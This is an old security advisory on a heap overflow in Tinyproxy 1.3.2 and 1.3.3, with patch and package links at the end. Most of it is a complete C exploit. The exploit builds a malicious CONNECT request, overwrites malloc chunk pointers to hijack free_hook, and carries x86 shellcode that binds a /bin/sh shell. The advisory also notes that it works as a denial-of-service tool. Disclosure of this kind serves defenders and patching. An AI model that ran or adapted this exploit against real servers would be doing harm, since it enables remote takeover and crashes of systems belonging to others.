COMMAND

    tinyproxy

SYSTEMS AFFECTED

    Tinyproxy version 1.3.2 and 1.3.3

PROBLEM

    Following is based  on a Packet  Knights Advisory 002  by |CyRaX|.
    Function http_err in utils.c :

        int httperr(struct conn_s *connptr, int err, char *msg)
        {
                char *outbuf;
        [..]
                outbuf = xmalloc(BUFFER);
                sprintf(outbuf, premsg, err, msg, msg, err, msg, VERSION);

    where BUFFER  is defined  2048.   As you  can see  msg is copied 3
    times into outbuf.. so we can  overflow it.  We can write  what we
    want in msg by putting  something different from "http://" in  the
    connect request

        bash-2.03# telnet 0 8888
        Trying 0.0.0.0...
        Connected to 0.
        Escape character is '^]'.
        connect [lots of A]://
        Connection closed by foreign host.

    Exploiting this program is hard.   The problem is that nothing  is
    allocated between the  malloc of our  buf and the  bugged sprintf.
    To exploit we must overwrite any structure after our buf.. but  in
    many cases there's nothing after it.  For some values of the  size
    of the buffer that  we send the target  is not at the  end.. so we
    can overwrite something.   Those values changes  in dependence  of
    which  distribution  you  run.   Unfortunately  for redhat 7.0 and
    Slackware CyRaX wasn't  unable to hit  correctly the struct.   For
    the values that make segfault free() the chunk is not hitted by  a
    string that we're able to control.   It is included so if  someone
    got more  time can  try it  on other  distros.   Anyway.. you  can
    always use it as a dos..   setting a large buffsize:  the  sprintf
    will segfault trying to write out of the heap.

    /*
     * Exploit for tinyproxy 1.3.2 and 1.3.3
     * by |CyRaX| <cyrax@pkcrew.org>
     * Packet Knights Crew - www.pkcrew.org
     * READ THE ADVISORY FIRST !
     * Greetz :
     *  bikappa: for some help
     *  all the pkc members expecially recidjvo, asynchro and cthulhu
     *  all the other friends
    */


    #include <stdio.h>
    #include <stdlib.h>
    #include <netinet/in.h>

    char jmps[]="\xeb\x0e";

    char c0de[]="\xeb\x0e\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
                "\x90\x90\x90\x90\x90\x90\x90"
                "\x89\xe5"
                "\x31\xd2\xb2\x66\x89\xd0\x31\xc9\x89\xcb\x43\x89\x5d\xf8"
                "\x43\x89\x5d\xf4\x4b\x89\x4d\xfc\x8d\x4d\xf4\xcd\x80\x31\xc9\x89"
                "\x45\xf4\x43\x66\x89\x5d\xec\x66\xc7\x45\xee\x0f\x27\x89\x4d\xf0"
                "\x8d\x45\xec\x89\x45\xf8\xc6\x45\xfc\x10\x89\xd0\x8d\x4d\xf4\xcd"
                "\x80\x89\xd0\x43\x43\xcd\x80\x89\xd0\x43\xcd\x80\x89\xc3\x31\xc9"
                "\x80\xea\x27\x89\xd0\xcd\x80\x89\xd0\x41\xcd\x80\xeb\x1f\x5e"
                "\x80\x46\x04\x01"
                "\x80\x06\x01"
                "\x89\x75"
                "\x08\x31\xc0\x88\x46\x07\x89\x45\x0c\xb0\x0b\x89\xf3\x8d\x4d\x08"
                "\x8d\x55\x0c\xcd\x80\xe8\xdc\xff\xff\xff\x2e\x62\x69\x6e\x2e\x73\x68";

    void usage();

    void usage(){
       printf("Exploit for Tinyproxy 1.3.2 and 1.3.3 by |CyRaX| <cyrax@pkcrew.org>\n");
       printf("Packet Knights Crew - http://www.pkcrew.org\n");
       printf("please.. READ the advisory first!\n");
       printf("Usage : ./PKCtiny-ex <host> <port> <buf_size> <struct offset> <free_hook> <shellcode>\n");
       printf("buf_size is the size of the buf we send\n");
       printf("struct offset is the distance from the beginning of the buffer we send where we\n");
       printf("       we put the malloc chunk struct!\n");
       printf("free_hook is the address of the free_hook function pointer\n");
       printf("shellcode is the address of the shellcode (you don't neet to hit it correctly\n");
       printf("          you can just hope to it a jump\n");
       printf("\nfree_hook and shellcode must be given in 0xaddress format\n");
       exit(0);
    }

    int main(int argc, char **argv){
       int s,i,err,pid[5];
       struct sockaddr_in dst;
       struct malloc_chunk{
          unsigned int ps;
          unsigned int sz;
          struct malloc_chunk *fd;
          struct malloc_chunk *bk;
       }mc;
       char *magic,*sndbuff;
       unsigned long FREE_HOOKZ,SHELLCODE;
       if(argc<5)usage();
       magic=(char *)malloc(atoi(argv[3])+1);
       sndbuff=(char *)malloc(atoi(argv[3])+30);
       memset(magic,'\x90',atoi(argv[3]));

       SHELLCODE=strtol(argv[6],NULL,16);
       FREE_HOOKZ=strtol(argv[5],NULL,16);


       dst.sin_addr.s_addr=inet_addr(argv[1]);
       dst.sin_port=htons(atoi(argv[2]));
       dst.sin_family=AF_INET;
       mc.ps=0xffffffff & ~1;
       mc.sz=0xffffffff;
       mc.fd=(struct malloc_chunk *)(SHELLCODE);
       mc.bk=(struct malloc_chunk *)(FREE_HOOKZ-8);

       s=socket(AF_INET,SOCK_STREAM,0);
       connect(s,(struct sockaddr *)&dst,sizeof(dst));
       memcpy(magic+atoi(argv[4]),&mc,sizeof(mc));

       if((atoi(argv[3])/2)<atoi(argv[4])){
          /* putting jmps and shellcode before the struct */
          for(i=0;i<(atoi(argv[4])-strlen(c0de)-10);i+=2){
	     memcpy(magic+i,jmps,2);
          }
       }
       else {
          /* putting jmps and shellcode after the struct */
          for(i=atoi(argv[4])+sizeof(mc);i<atoi(argv[3])-10-strlen(c0de);i+=2){
	     memcpy(magic+i,jmps,2);
          }
       }
       memcpy(magic+i,c0de,strlen(c0de));

       magic[atoi(argv[3])]=0;

       printf("strlen magic is %i\n",strlen(magic));
       sndbuff[snprintf(sndbuff,atoi(argv[3])+20,"connect %s://\n",magic)]=0;
       printf("shooting\n");
       err=send(s,sndbuff,strlen(sndbuff),0);
    }

SOLUTION

    This has been fixed in the CVS and there is a new release of 1.3.3
    with the fix in it.  It can be found at:

        http://tinyproxy.sourceforge.net/tinyproxy-1.3.3a.tar.gz

    For Debian:

        http://security.debian.org/dists/stable/updates/main/source/tinyproxy_1.3.1-2.diff.gz
        http://security.debian.org/dists/stable/updates/main/source/tinyproxy_1.3.1-2.dsc
        http://security.debian.org/dists/stable/updates/main/source/tinyproxy_1.3.1.orig.tar.gz
        http://security.debian.org/dists/stable/updates/main/binary-i386/tinyproxy_1.3.1-2_i386.deb
        http://security.debian.org/dists/stable/updates/main/binary-m68k/tinyproxy_1.3.1-2_m68k.deb
        http://security.debian.org/dists/stable/updates/main/binary-sparc/tinyproxy_1.3.1-2_sparc.deb
        http://security.debian.org/dists/stable/updates/main/binary-alpha/tinyproxy_1.3.1-2_alpha.deb
        http://security.debian.org/dists/stable/updates/main/binary-powerpc/tinyproxy_1.3.1-2_powerpc.deb
        http://security.debian.org/dists/stable/updates/main/binary-arm/tinyproxy_1.3.1-2_arm.deb

    For FreeBSD:

        ftp://ftp.FreeBSD.org/pub/FreeBSD/ports/i386/packages-3-stable/www/tinyproxy-1.3.3a.tgz
        ftp://ftp.FreeBSD.org/pub/FreeBSD/ports/i386/packages-4-stable/www/tinyproxy-1.3.3a.tgz
        ftp://ftp.FreeBSD.org/pub/FreeBSD/ports/i386/packages-5-current/www/tinyproxy-1.3.3a.tgz